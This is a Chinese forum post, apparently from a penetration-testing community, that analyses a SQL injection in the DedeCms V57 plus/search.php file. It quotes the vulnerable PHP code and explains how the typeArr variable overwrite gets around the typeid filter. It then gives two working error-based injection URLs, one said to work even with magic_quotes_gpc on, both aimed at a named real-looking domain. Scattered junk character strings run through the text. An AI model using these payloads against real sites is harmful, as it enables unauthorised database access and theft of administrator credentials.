中国网络渗透测试联盟
标题:
DedeCms V57 plus/search.php文件SQL注射
[打印本页]
作者:
admin
时间:
2013-1-19 08:18
标题:
DedeCms V57 plus/search.php文件SQL注射
微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.
: U: A8 Z% }, F. |/ K& o& R
作者:
c4rp3nt3r@0x50sec.org
+ P5 W% c5 M8 H+ I
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
7 n7 V: R2 N' B1 Y% D, g
& d- N8 X2 ?5 m9 C+ U8 V
黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.
9 K% V5 b# g5 x9 ?$ ?
$ D) Y6 V. K; q9 A9 p1 f
============
! v3 _, H' o" L2 z& k
- s! g1 S! C; a, z4 E
4 Z2 P& [. N1 c
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
P0 _% ~% P+ Z7 |# e. d
) `$ V& c. u7 h; \7 s! d6 [
require_once(dirname(__FILE__).”/../include/common.inc.php”);
# z" I& n$ E5 F4 s# t" {
require_once(DEDEINC.”/arc.searchview.class.php”);
! x, \$ z2 a6 m' B' n, H- _# t
% u# U& F7 P" t1 {
$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;
3 J* z' ^: f+ v j& T `7 S8 W
$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;
9 C `# j# x9 |* A4 p/ l
$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;
* h2 E/ k: s' [/ v0 k: e$ c
$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;
t1 M4 _4 k3 w' K4 E
$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;
' i6 E, C2 K/ k) H; t$ R! ~8 I" @
h! o! g1 J5 K0 j
if(!isset($orderby)) $orderby=”;
M% ]; |* w& C( h
else $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);
9 e4 q0 o5 Q' ~1 }% N, L- |" S2 I; j
9 t8 r8 ^! ~7 c+ G+ _7 d. h; Z
u1 Y! }% k3 |+ E' L2 H, }" b# m
if(!isset($searchtype)) $searchtype = ‘titlekeyword’;
* I- N2 z1 Q# O# ~! @ k
else $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);
7 G9 c2 T1 D' [- U5 y
, }5 i% q+ j2 @$ B9 i$ Z, C" C4 j
if(!isset($keyword)){
6 b$ |- o% k6 }2 d7 _/ W7 e
if(!isset($q)) $q = ”;
0 x9 T3 ?2 \9 K5 K
$keyword=$q;
9 `# N" [/ \& U3 |) W
}
! M3 u8 L: f- B8 P9 q' V! O5 {
) w! m1 F+ z0 e- C1 I; h0 X
$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));
- ]6 Z) `4 V. o) `. s+ x/ Q/ D' g
$ D! J% ~ d' b! I
//查找栏目信息
9 f& {4 o/ y9 _/ X1 C
if(empty($typeid))
: w6 o% V, K1 G, l- M
{
: V# |- ^1 i* P$ w0 {
$typenameCacheFile = DEDEDATA.’/cache/typename.inc’;
7 G; B8 m. ~% C5 f
if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )
; V I; M4 @9 K( T& m! h2 E* ^
{
$ S. Y% z5 |! Y( E9 W) P
$fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);
1 P' p# { E/ O3 i6 N
fwrite($fp, “<”.”?php\r\n”);
9 B5 v, Y, E5 I6 r9 Q+ @
$dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);
# x2 v+ U. F8 c: O4 q n6 M" R
$dsql->Execute();
$ i6 [4 o- \& @$ B
while($row = $dsql->GetArray())
R: R6 w5 I5 s4 D2 P8 }" B
{
' i1 c- b- a( `- c
fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);
; [1 X: u3 T* B5 }1 h
}
& j# T8 W+ M5 c2 n L2 K5 Q" J
fwrite($fp, ‘?’.'>’);
& P* d; C8 [2 I$ c1 e. ?
fclose($fp);
) A$ w2 S1 {; W; \8 l0 z" g
}
% N6 ^+ E8 [5 W8 x! O+ [( A
//引入栏目缓存并看关键字是否有相关栏目内容
8 W% o- p' a# g0 d6 v1 T
require_once($typenameCacheFile);
2 ~+ f" T4 {8 d+ j- `; k
//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个
, Z" }) W- F9 a- ?
//
* f& o* B: e0 b, j
if(isset($typeArr) && is_array($typeArr))
4 J0 x( O1 h! \7 b' X
{
. {! c5 d" J- }1 P9 r( W
foreach($typeArr as $id=>$typename)
- C3 n: ^6 Y/ m1 |$ b# p
{
c: [+ B$ t' z! u: {
1 p% d; R4 l" W- C# h' B
<font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font> //这个地方要绕过
5 f9 b, r: X1 w( }' Y5 _
if($keyword != $keywordn)
2 s1 s5 V' m+ o8 q: P
{
! Y1 _! m& f1 P1 u+ P0 A
$keyword = $keywordn;
$ [% Y' G+ t9 M
<font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设
8 c8 |' [/ h, U# s
break;
% ^8 y# @ v1 o; y
}
, D+ u: M( D; {. n: F
}
5 r& J6 [+ b& T
}
8 X# m# {% k; b, u- E
}
& H: }3 i0 D G+ a1 j8 ]
然后plus/search.php文件下面定义了一个 Search类的对象 .
3 n0 F8 ^. D. u3 b/ {
在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.
3 t6 r1 v+ }% {: i$ a
$this->TypeLink = new TypeLink($typeid);
" P: k# Y3 F4 { y
# z$ `( O( g; P, F
TypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.
. P/ a6 a3 E( \' Q' B2 ~
( h, P1 b& F! h1 W+ G1 j
class TypeLink
; n8 m" n* E4 A! T
{
3 y: M, p- n+ z6 S$ v
var $typeDir;
3 @1 \" o2 R. `3 g+ @3 h+ V
var $dsql;
. {/ D6 |- o m v0 J
var $TypeID;
; u- F5 d- w" @
var $baseDir;
8 O& i9 L1 i6 R! O# i& e' M1 s; v2 n
var $modDir;
/ J4 ?3 b$ K7 r1 q; |# s
var $indexUrl;
/ s5 v4 z- G B! ^6 H& l
var $indexName;
; y" |* L; l; J( u; f7 \
var $TypeInfos;
2 m: z: `5 e: v5 l
var $SplitSymbol;
/ f' ?# \3 F1 s& W) {* x1 t' g
var $valuePosition;
9 r7 b0 v- ]# f6 _* e) ~' z
var $valuePositionName;
6 Q1 i2 P. {' o9 ]+ e' @
var $OptionArrayList;//构造函数///////
" ~: {9 R+ `0 x, K$ U
//php5构造函数
& e$ \5 P2 y0 Z. R* M6 k3 S r8 ~, O$ k
function __construct($typeid)
& b. O1 f# o9 W0 b
{
- U/ W- S% ^% \" k" x
$this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];
$ s9 }2 a" h" V! t4 G5 {$ }
$this->indexName = $GLOBALS['cfg_indexname'];
; u- h4 n( [ c# z
$this->baseDir = $GLOBALS['cfg_basedir'];
1 Q8 S. u) d5 Q
$this->modDir = $GLOBALS['cfg_templets_dir'];
; U! t y5 T" d- X" I/ t; l8 r7 D. R$ [( I
$this->SplitSymbol = $GLOBALS['cfg_list_symbol'];
# I' g) a* O6 J5 e
$this->dsql = $GLOBALS['dsql'];
$ z; z. V& v6 C3 K0 ], N' \! e# z
$this->TypeID = $typeid;
8 o, F+ A# p$ B8 i. U1 Q: _4 m
$this->valuePosition = ”;
! G" T, ~4 s2 F
$this->valuePositionName = ”;
2 C7 f. v$ }8 P8 F: b1 J$ F
$this->typeDir = ”;
n' p: e' d( z# r% L
$this->OptionArrayList = ”;
/ U5 H C, [9 G) B# _) ^5 R
* Q; a- R) [2 Y) F9 R: {; N! w
//载入类目信息
4 d& \7 ^" A. h+ w' K4 O
; v: l# J0 o3 h4 i5 V
<font color=”Red”>$query = “SELECT tp.*,ch.typename as
4 M9 d9 m# Q' r9 O2 B
ctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join
3 ^6 ] ?( L$ P7 l" t) b# E
`#@__channeltype` ch
( A7 D8 D2 n' q1 J+ L# I6 b; v
on ch.id=tp.channeltype WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿
* Z2 [9 j n6 w
, E' V- X M3 ~7 n) A
if($typeid > 0)
4 u0 q$ k8 T1 F7 q! k' ?* y
{
! B6 Y* o* N$ r
$this->TypeInfos = $this->dsql->GetOne($query);
7 g, R! } x' ~" p' j/ b
利用代码一 需要 即使magic_quotes_gpc = Off
* y3 l% o0 A, M2 @0 z
4 g0 R+ I+ M3 [; }: u
www.political-security.com
/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title
5 A9 ]7 ?: o7 Q
% V+ i2 S% G8 k3 Q" r9 j, B! x
这只是其中一个利用代码… Search 类的构造函数再往下
/ ~* t; W' J& K
( S6 P x) I! s( b
……省略
/ _+ Q v: h$ z. ^4 M
$this->TypeID = $typeid;
& h0 l# \& F) U$ l( h# I
……省略
3 y* s# M, N" U G8 z( O
if($this->TypeID==”0″){
. X# \ f! ]% p4 g: Z& B
$this->ChannelTypeid=1;
! ~. C% G# f4 y! G
}else{
' ?0 x* J5 u% R8 @8 s7 f
$row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲
( P( x: _( z5 J4 {2 @/ q6 e
//现在不鸡肋了吧亲…
- |* A( j" }. v* k
$this->ChannelTypeid=$row['channeltype'];
5 l* t% C: v) j O7 c
* T1 c# R- E/ D
}
& t2 R4 G9 i7 M; L6 x7 A
利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.
5 K5 W& R3 u4 l7 }
% ~1 n, W0 ~5 W, G8 A: n
www.political-security.com
/plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title
2 S4 R4 S: D5 C- S
7 f' v% Y Q0 L& Y
如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站
( b J( r" q1 W: c; y) `
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2